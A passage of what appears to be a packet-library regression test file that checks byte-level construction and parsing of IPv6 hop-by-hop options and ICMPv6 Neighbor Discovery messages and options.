and a[IPv6].dst == "ff02::2" and ICMPv6MRD_Solicitation in a and a[ICMPv6MRD_Solicitation].type == 152 and a[ICMPv6MRD_Solicitation].res == 0 = ICMPv6MRD_Termination Basic instantiation bytes(ICMPv6MRD_Termination()) == b'\x99\x00\x00\x00' = ICMPv6MRD_Termination - Instantiation with specific values bytes(ICMPv6MRD_Termination(res=0xbb)) == b'\x99\xbb\x00\x00' = ICMPv6MRD_Termination - Basic Dissection and overloading mechanisms a=Ether(bytes(Ether()/IPv6()/ICMPv6MRD_Termination())) a.dst == "33:33:00:00:00:6a" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::6a" and ICMPv6MRD_Termination in a and a[ICMPv6MRD_Termination].type == 153 and a[ICMPv6MRD_Termination].res == 0 ########### HBHOptUnknown Class ############################################## + Test HBHOptUnknown Class = HBHOptUnknown - Basic Instantiation bytes(HBHOptUnknown()) == b'\x01\x00' = HBHOptUnknown - Basic Dissection a=HBHOptUnknown(b'\x01\x00') a.otype == 0x01 and a.optlen == 0 and a.optdata == b"" = HBHOptUnknown - Automatic optlen computation bytes(HBHOptUnknown(optdata="B"*10)) == b'\x01\nBBBBBBBBBB' = HBHOptUnknown - Instantiation with specific values bytes(HBHOptUnknown(optlen=9, optdata="B"*10)) == b'\x01\tBBBBBBBBBB' = HBHOptUnknown - Dissection with specific values a=HBHOptUnknown(b'\x01\tBBBBBBBBBB') a.otype == 0x01 and a.optlen == 9 and a.optdata == b"B"*9 and isinstance(a.payload, Raw) and a.payload.load == b"B" ########### Pad1 Class ############################################## + Test Pad1 Class = Pad1 - Basic Instantiation bytes(Pad1()) == b'\x00' = Pad1 - Basic Dissection bytes(Pad1(b'\x00')) == b'\x00' ########### PadN Class ############################################## + Test PadN Class = PadN - Basic Instantiation bytes(PadN()) == b'\x01\x00' = PadN - Optlen Automatic computation bytes(PadN(optdata="B"*10)) == b'\x01\nBBBBBBBBBB' = PadN - Basic Dissection a=PadN(b'\x01\x00') a.otype == 1 and a.optlen == 0 and a.optdata == b'' = PadN - Dissection with specific values a=PadN(b'\x01\x0cBBBBBBBBBB') a.otype == 1 and a.optlen == 12 and a.optdata == b'BBBBBBBBBB' = PadN - Instantiation with forced optlen bytes(PadN(optdata="B"*10, optlen=9)) == b'\x01\x09BBBBBBBBBB' ########### RouterAlert Class ####################################### + Test RouterAlert Class (RFC 2711) = RouterAlert - Basic Instantiation bytes(RouterAlert()) == b'\x05\x02\x00\x00' = RouterAlert - Basic Dissection a=RouterAlert(b'\x05\x02\x00\x00') a.otype == 0x05 and a.optlen == 2 and a.value == 00 = RouterAlert - Instantiation with specific values bytes(RouterAlert(optlen=3, value=0xffff)) == b'\x05\x03\xff\xff' = RouterAlert - Instantiation with specific values a=RouterAlert(b'\x05\x03\xff\xff') a.otype == 0x05 and a.optlen == 3 and a.value == 0xffff ########### Jumbo Class ############################################ + Test Jumbo Class (RFC 2675) = Jumbo - Basic Instantiation bytes(Jumbo()) == b'\xc2\x04\x00\x00\x00\x00' = Jumbo - Basic Dissection a=Jumbo(b'\xc2\x04\x00\x00\x00\x00') a.otype == 0xC2 and a.optlen == 4 and a.jumboplen == 0 = Jumbo - Instantiation with specific values bytes(Jumbo(optlen=6, jumboplen=0xffffffff)) == b'\xc2\x06\xff\xff\xff\xff' = Jumbo - Dissection with specific values a=Jumbo(b'\xc2\x06\xff\xff\xff\xff') a.otype == 0xc2 and a.optlen == 6 and a.jumboplen == 0xffffffff ########### HAO Class ############################################## + Test HAO Class (RFC 3775) = HAO - Basic Instantiation bytes(HAO()) == b'\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = HAO - Basic Dissection a=HAO(b'\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.otype == 0xC9 and a.optlen == 16 and a.hoa == "::" = HAO - Instantiation with specific values bytes(HAO(optlen=9, hoa="2001::ffff")) == b'\xc9\t \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff' = HAO - Dissection with specific values a=HAO(b'\xc9\t \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff') a.otype == 0xC9 and a.optlen == 9 and a.hoa == "2001::ffff" ########### IPv6ExtHdrHopByHop Class ########################## + Test IPv6ExtHdrHopByHop() = IPv6ExtHdrHopByHop - Basic Instantiation bytes(IPv6ExtHdrHopByHop()) == b';\x00\x01\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with HAO option bytes(IPv6ExtHdrHopByHop(options=[HAO()])) == b';\x02\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with RouterAlert option bytes(IPv6ExtHdrHopByHop(options=[RouterAlert()])) == b';\x00\x05\x02\x00\x00\x01\x00' = IPv6ExtHdrHopByHop - Instantiation with Jumbo option bytes(IPv6ExtHdrHopByHop(options=[Jumbo()])) == b';\x00\xc2\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with Pad1 option bytes(IPv6ExtHdrHopByHop(options=[Pad1()])) == b';\x00\x00\x01\x03\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with PadN option bytes(IPv6ExtHdrHopByHop(options=[Pad1()])) == b';\x00\x00\x01\x03\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with Jumbo, RouterAlert, HAO bytes(IPv6ExtHdrHopByHop(options=[Jumbo(), RouterAlert(), HAO()])) == b';\x03\xc2\x04\x00\x00\x00\x00\x05\x02\x00\x00\x01\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with HAO, Jumbo, RouterAlert bytes(IPv6ExtHdrHopByHop(options=[HAO(), Jumbo(), RouterAlert()])) == b';\x04\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xc2\x04\x00\x00\x00\x00\x05\x02\x00\x00\x01\x02\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with RouterAlert, HAO, Jumbo bytes(IPv6ExtHdrHopByHop(options=[RouterAlert(), HAO(), Jumbo()])) == b';\x03\x05\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xc2\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Basic Dissection a=IPv6ExtHdrHopByHop(b';\x00\x01\x04\x00\x00\x00\x00') a.nh == 59 and a.len == 0 and len(a.options) == 1 and isinstance(a.options[0], PadN) and a.options[0].otype == 1 and a.options[0].optlen == 4 and a.options[0].optdata == b'\x00'*4 #= IPv6ExtHdrHopByHop - Automatic length computation #bytes(IPv6ExtHdrHopByHop(options=["toto"])) == '\x00\x00toto' #= IPv6ExtHdrHopByHop - Automatic length computation #bytes(IPv6ExtHdrHopByHop(options=["toto"])) == '\x00\x00tototo' ########### ICMPv6ND_RS Class ####################################### + Test ICMPv6ND_RS() class - ICMPv6 Type 133 Code 0 = ICMPv6ND_RS - Basic instantiation bytes(ICMPv6ND_RS()) == b'\x85\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer bytes(IPv6(src="2001:db8::1")/ICMPv6ND_RS()) == b'`\x00\x00\x00\x00\x08:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x85\x00M\xfe\x00\x00\x00\x00' = ICMPv6ND_RS - Basic dissection a=ICMPv6ND_RS(b'\x85\x00\x00\x00\x00\x00\x00\x00') a.type == 133 and a.code == 0 and a.cksum == 0 and a.res == 0 = ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer a=IPv6(b'`\x00\x00\x00\x00\x08:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x85\x00M\xfe\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RS) and a.payload.type == 133 and a.payload.code == 0 and a.payload.cksum == 0x4dfe and a.payload.res == 0 ########### ICMPv6ND_RA Class ####################################### + Test ICMPv6ND_RA() class - ICMPv6 Type 134 Code 0 = ICMPv6ND_RA - Basic Instantiation bytes(ICMPv6ND_RA()) == b'\x86\x00\x00\x00\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer bytes(IPv6(src="2001:db8::1")/ICMPv6ND_RA()) == b'`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RA - Basic dissection a=ICMPv6ND_RA(b'\x86\x00\x00\x00\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 134 and a.code == 0 and a.cksum == 0 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0 = ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer a=IPv6(b'`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RA) and a.payload.type == 134 and a.code == 0 and a.cksum == 0x45e7 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0 # TODO: Add answers()/Hashret() tests ( think about Cisco routers # that reply with mcast RA to mcast rs ) ########### ICMPv6ND_NS Class ####################################### + ICMPv6ND_NS Class Test = ICMPv6ND_NS - Basic Instantiation bytes(ICMPv6ND_NS()) == b'\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_NS - Instantiation with specific values bytes(ICMPv6ND_NS(code=0x11, res=3758096385, tgt="ffff::1111")) == b'\x87\x11\x00\x00\xe0\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6ND_NS - Basic Dissection a=ICMPv6ND_NS(b'\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.code==0 and a.res==0 and a.tgt=="::" = ICMPv6ND_NS - Dissection with specific values a=ICMPv6ND_NS(b'\x87\x11\x00\x00\xe0\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.code==0x11 and a.res==3758096385 and a.tgt=="ffff::1111" = ICMPv6ND_NS - IPv6 layer fields overloading a=IPv6(bytes(IPv6()/ICMPv6ND_NS())) a.nh == 58 and a.dst=="ff02::1" and a.hlim==255 ########### ICMPv6ND_NA Class ####################################### + ICMPv6ND_NA Class Test = ICMPv6ND_NA - Basic Instantiation bytes(ICMPv6ND_NA()) == b'\x88\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_NA - Instantiation with specific values bytes(ICMPv6ND_NA(code=0x11, R=0, S=1, O=0, res=1, tgt="ffff::1111")) == b'\x88\x11\x00\x00@\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6ND_NA - Basic Dissection a=ICMPv6ND_NA(b'\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.code==0 and a.R==0 and a.S==0 and a.O==0 and a.res==0 and a.tgt=="::" = ICMPv6ND_NA - Dissection with specific values a=ICMPv6ND_NA(b'\x88\x11\x00\x00@\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.code==0x11 and a.R==0 and a.S==1 and a.O==0 and a.res==1 and a.tgt=="ffff::1111" = ICMPv6ND_NS - IPv6 layer fields overloading a=IPv6(bytes(IPv6()/ICMPv6ND_NS())) a.nh == 58 and a.dst=="ff02::1" and a.hlim==255 ########### ICMPv6ND_NS/ICMPv6ND_NA matching ######################## + ICMPv6ND_ND/ICMPv6ND_ND matching test = ICMPv6ND_ND/ICMPv6ND_ND matching - test 1 # Sent NS a=IPv6(b'`\x00\x00\x00\x00\x18:\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x1f\xff\xfe\xcaFP\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x00UC\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1') # Received NA b=IPv6(b'n\x00\x00\x00\x00 :\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x1f\xff\xfe\xcaFP\x88\x00\xf3F\xe0\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1\x02\x01\x00\x0f4\x8a\x8a\xa1') b.answers(a) ########### ICMPv6NDOptUnknown Class ################################ + ICMPv6NDOptUnknown Class Test = ICMPv6NDOptUnknown - Basic Instantiation bytes(ICMPv6NDOptUnknown()) == b'\x00\x02' = ICMPv6NDOptUnknown - Instantiation with specific values bytes(ICMPv6NDOptUnknown(len=4, data="somebytesing")) == b'\x00\x04somebytesing' = ICMPv6NDOptUnknown - Basic Dissection a=ICMPv6NDOptUnknown(b'\x00\x02') a.type == 0 and a.len == 2 = ICMPv6NDOptUnknown - Dissection with specific values a=ICMPv6NDOptUnknown(b'\x00\x04somebytesing') a.type == 0 and a.len==4 and a.data == b"so" and isinstance(a.payload, Raw) and a.payload.load == b"mebytesing" ########### ICMPv6NDOptSrcLLAddr Class ############################## + ICMPv6NDOptSrcLLAddr Class Test = ICMPv6NDOptSrcLLAddr - Basic Instantiation bytes(ICMPv6NDOptSrcLLAddr()) == b'\x01\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptSrcLLAddr - Instantiation with specific values bytes(ICMPv6NDOptSrcLLAddr(len=2, lladdr="11:11:11:11:11:11")) == b'\x01\x02\x11\x11\x11\x11\x11\x11' = ICMPv6NDOptSrcLLAddr - Basic Dissection a=ICMPv6NDOptSrcLLAddr(b'\x01\x01\x00\x00\x00\x00\x00\x00') a.type == 1 and a.len == 1 and a.lladdr == "00:00:00:00:00:00" = ICMPv6NDOptSrcLLAddr - Instantiation with specific values a=ICMPv6NDOptSrcLLAddr(b'\x01\x02\x11\x11\x11\x11\x11\x11') a.type == 1 and a.len == 2 and a.lladdr == "11:11:11:11:11:11" ########### ICMPv6NDOptDstLLAddr Class ############################## + ICMPv6NDOptDstLLAddr Class Test = ICMPv6NDOptDstLLAddr - Basic Instantiation bytes(ICMPv6NDOptDstLLAddr()) == b'\x02\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptDstLLAddr - Instantiation with specific values bytes(ICMPv6NDOptDstLLAddr(len=2, lladdr="11:11:11:11:11:11")) == b'\x02\x02\x11\x11\x11\x11\x11\x11' = ICMPv6NDOptDstLLAddr - Basic Dissection a=ICMPv6NDOptDstLLAddr(b'\x02\x01\x00\x00\x00\x00\x00\x00') a.type == 2 and a.len == 1 and a.lladdr == "00:00:00:00:00:00" = ICMPv6NDOptDstLLAddr - Instantiation with specific values a=ICMPv6NDOptDstLLAddr(b'\x02\x02\x11\x11\x11\x11\x11\x11') a.type == 2 and a.len == 2 and a.lladdr == "11:11:11:11:11:11" ########### ICMPv6NDOptPrefixInfo Class ############################# + ICMPv6NDOptPrefixInfo Class Test = ICMPv6NDOptPrefixInfo - Basic Instantiation bytes(ICMPv6NDOptPrefixInfo()) == b'\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptPrefixInfo - Instantiation with specific values bytes(ICMPv6NDOptPrefixInfo(len=5, prefixlen=64, L=0, A=0, R=1, res1=1, validlifetime=0x11111111, preferredlifetime=0x22222222, res2=0x33333333, prefix="2001:db8::1")) == b'\x03\x05@!\x11\x11\x11\x11""""3333 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptPrefixInfo - Basic Dissection a=ICMPv6NDOptPrefixInfo(b'\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 3 and a.len == 4 and a.prefixlen == 0 and a.L == 1 and a.A == 1 and a.R == 0 and a.res1 == 0 and a.validlifetime == 0xffffffff and a.preferredlifetime == 0xffffffff and a.res2 == 0 and a.prefix == "::" = ICMPv6NDOptPrefixInfo - Instantiation with specific values a=ICMPv6NDOptPrefixInfo(b'\x03\x05@!\x11\x11\x11\x11""""3333 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.type == 3 and a.len == 5 and a.prefixlen == 64 and a.L == 0 and a.A == 0 and a.R == 1 and a.res1 == 1 and a.validlifetime == 0x11111111 and a.preferredlifetime == 0x22222222 and a.res2 == 0x33333333 and a.prefix == "2001:db8::1" ########### ICMPv6NDOptRedirectedHdr Class ########################## + ICMPv6NDOptRedirectedHdr Class Test = ICMPv6NDOptRedirectedHdr - Basic Instantiation ~ ICMPv6NDOptRedirectedHdr bytes(ICMPv6NDOptRedirectedHdr()) == b'\x04\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRedirectedHdr - Instantiation with specific values ~ ICMPv6NDOptRedirectedHdr bytes(ICMPv6NDOptRedirectedHdr(len=0xff, res=0x1111, pkt="somestringthatisnotanipv6packet")) == b'\x04\xff4369\x00\x00somestringthatisnotanipv' = ICMPv6NDOptRedirectedHdr - Instantiation with simple IPv6 packet (no upper layer) ~ ICMPv6NDOptRedirectedHdr bytes(ICMPv6NDOptRedirectedHdr(pkt=IPv6())) == b'\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptRedirectedHdr - Basic Dissection ~ ICMPv6NDOptRedirectedHdr a=ICMPv6NDOptRedirectedHdr(b'\x04\x00\x00\x00') assert(a.type == 4) assert(a.len == 0) assert(a.res == b"\x00\x00") assert(a.pkt == b"") = ICMPv6NDOptRedirectedHdr - Disssection with specific values ~ ICMPv6NDOptRedirectedHdr a=ICMPv6NDOptRedirectedHdr(b'\x04\xff\x11\x11\x00\x00\x00\x00somebytesingthatisnotanipv6pac') a.type == 4 and a.len == 255 and a.res == b'\x11\x11\x00\x00\x00\x00' and isinstance(a.pkt, Raw) and a.pkt.load == b"somebytesingthatisnotanipv6pac" = ICMPv6NDOptRedirectedHdr - Dissection with cut IPv6 Header ~ ICMPv6NDOptRedirectedHdr a=ICMPv6NDOptRedirectedHdr(b'\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 4 and a.len == 6 and a.res == b"\x00\x00\x00\x00\x00\x00" and isinstance(a.pkt, Raw) and a.pkt.load == b'`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRedirectedHdr - Complete dissection ~ ICMPv6NDOptRedirectedHdr x=ICMPv6NDOptRedirectedHdr(b'\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') y=x.copy() del(y.len) x == ICMPv6NDOptRedirectedHdr(bytes(y)) # Add more tests ########### ICMPv6NDOptMTU Class #################################### + ICMPv6NDOptMTU Class Test = ICMPv6NDOptMTU - Basic Instantiation bytes(ICMPv6NDOptMTU()) == b'\x05\x01\x00\x00\x00\x00\x05\x00' = ICMPv6NDOptMTU - Instantiation with specific values bytes(ICMPv6NDOptMTU(len=2, res=0x1111, mtu=1500)) == b'\x05\x02\x11\x11\x00\x00\x05\xdc' = ICMPv6NDOptMTU - Basic dissection a=ICMPv6NDOptMTU(b'\x05\x01\x00\x00\x00\x00\x05\x00') a.type == 5 and a.len == 1 and a.res == 0 and a.mtu == 1280 = ICMPv6NDOptMTU - Dissection with specific values a=ICMPv6NDOptMTU(b'\x05\x02\x11\x11\x00\x00\x05\xdc') a.type == 5 and a.len == 2 and a.res == 0x1111 and a.mtu == 1500 ########### ICMPv6NDOptShortcutLimit Class ########################## + ICMPv6NDOptShortcutLimit Class Test (RFC2491) = ICMPv6NDOptShortcutLimit - Basic Instantiation bytes(ICMPv6NDOptShortcutLimit()) == b'\x06\x01(\x00\x00\x00\x00\x00' = ICMPv6NDOptShortcutLimit - Instantiation with specific values bytes(ICMPv6NDOptShortcutLimit(len=2, shortcutlim=0x11, res1=0xee, res2=0xaaaaaaaa)) == b'\x06\x02\x11\xee\xaa\xaa\xaa\xaa' = ICMPv6NDOptShortcutLimit - Basic Dissection a=ICMPv6NDOptShortcutLimit(b'\x06\x01(\x00\x00\x00\x00\x00') a.type == 6 and a.len == 1 and a.shortcutlim == 40 and a.res1 == 0 and a.res2 == 0 = ICMPv6NDOptShortcutLimit - Dissection with specific values a=ICMPv6NDOptShortcutLimit(b'\x06\x02\x11\xee\xaa\xaa\xaa\xaa') a.len==2 and a.shortcutlim==0x11 and a.res1==0xee and a.res2==0xaaaaaaaa ########### ICMPv6NDOptAdvInterval Class ############################ + ICMPv6NDOptAdvInterval Class Test = ICMPv6NDOptAdvInterval - Basic Instantiation bytes(ICMPv6NDOptAdvInterval()) == b'\x07\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptAdvInterval - Instantiation with specific values bytes(ICMPv6NDOptAdvInterval(len=2, res=0x1111, advint=0xffffffff)) == b'\x07\x02\x11\x11\xff\xff\xff\xff' = ICMPv6NDOptAdvInterval - Basic dissection a=ICMPv6NDOptAdvInterval(b'\x07\x01\x00\x00\x00\x00\x00\x00') a.type == 7 and a.len == 1 and a.res == 0 and a.advint == 0 = ICMPv6NDOptAdvInterval - Dissection with specific values a=ICMPv6NDOptAdvInterval(b'\x07\x02\x11\x11\xff\xff\xff\xff') a.type == 7 and a.len == 2 and a.res == 0x1111 and a.advint == 0xffffffff ########### ICMPv6NDOptHAInfo Class ################################# + ICMPv6NDOptHAInfo Class Test = ICMPv6NDOptHAInfo - Basic Instantiation bytes(ICMPv6NDOptHAInfo()) == b'\x08\x01\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptHAInfo - Instantiation with specific values bytes(ICMPv6NDOptHAInfo(len=2, res=0x1111, pref=0x2222, lifetime=0x3333)) == b'\x08\x02\x11\x11""33' = ICMPv6NDOptHAInfo - Basic dissection a=ICMPv6NDOptHAInfo(b'\x08\x01\x00\x00\x00\x00\x00\x01') a.type == 8 and a.len == 1 and a.res == 0 and a.pref == 0 and a.lifetime == 1 = ICMPv6NDOptHAInfo - Dissection with specific values a=ICMPv6NDOptHAInfo(b'\x08\x02\x11\x11""33') a.type == 8 and a.len == 2 and a.res == 0x1111 and a.pref == 0x2222 and a.lifetime == 0x3333 ########### ICMPv6NDOptSrcAddrList Class (RFC 3122) ################# + ICMPv6NDOptSrcAddrList Class Test = ICMPv6NDOptSrcAddrList - Basic Instantiation bytes(ICMPv6NDOptSrcAddrList()) == b'\t\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptSrcAddrList - Instantiation with specific values (auto len) bytes(ICMPv6NDOptSrcAddrList(res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\t\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptSrcAddrList - Instantiation with specific values bytes(ICMPv6NDOptSrcAddrList(len=3, res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\t\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptSrcAddrList - Basic Dissection a=ICMPv6NDOptSrcAddrList(b'\t\x01\x00\x00\x00\x00\x00\x00') a.type == 9 and a.len == 1 and a.res == b'\x00\x00\x00\x00\x00\x00' and not a.addrlist = ICMPv6NDOptSrcAddrList - Dissection with specific values (auto len) a=ICMPv6NDOptSrcAddrList(b'\t\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 9 and a.len == 5 and a.res == b'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == "ffff::ffff" and a.addrlist[1] == "1111::1111" = ICMPv6NDOptSrcAddrList - Dissection with specific values a=ICMPv6NDOptSrcAddrList(b'\t\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 9 and a.len == 3 and a.res == b'BBBBBB' and len(a.addrlist) == 1 and a.addrlist[0] == "ffff::ffff" and isinstance(a.payload, Raw) and a.payload.load == b'\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' ########### ICMPv6NDOptTgtAddrList Class (RFC 3122) ################# + ICMPv6NDOptTgtAddrList Class Test = ICMPv6NDOptTgtAddrList - Basic Instantiation bytes(ICMPv6NDOptTgtAddrList()) == b'\n\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptTgtAddrList - Instantiation with specific values (auto len) bytes(ICMPv6NDOptTgtAddrList(res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\n\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptTgtAddrList - Instantiation with specific values bytes(ICMPv6NDOptTgtAddrList(len=3, res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\n\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptTgtAddrList - Basic Dissection a=ICMPv6NDOptTgtAddrList(b'\n\x01\x00\x00\x00\x00\x00\x00') a.type == 10 and a.len == 1 and a.res == b'\x00\x00\x00\x00\x00\x00' and not a.addrlist = ICMPv6NDOptTgtAddrList - Dissection with specific values (auto len) a=ICMPv6NDOptTgtAddrList(b'\n\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 10 and a.len == 5 and a.res == b'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == "ffff::ffff" and a.addrlist[1] == "1111::1111" = ICMPv6NDOptTgtAddrList - Instantiation with specific values a=ICMPv6NDOptTgtAddrList(b'\n\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 10 and a.len == 3 and a.res == b'BBBBBB' and len(a.addrlist) == 1 and a.addrlist[0] == "ffff::ffff" and isinstance(a.payload, Raw) and a.payload.load == 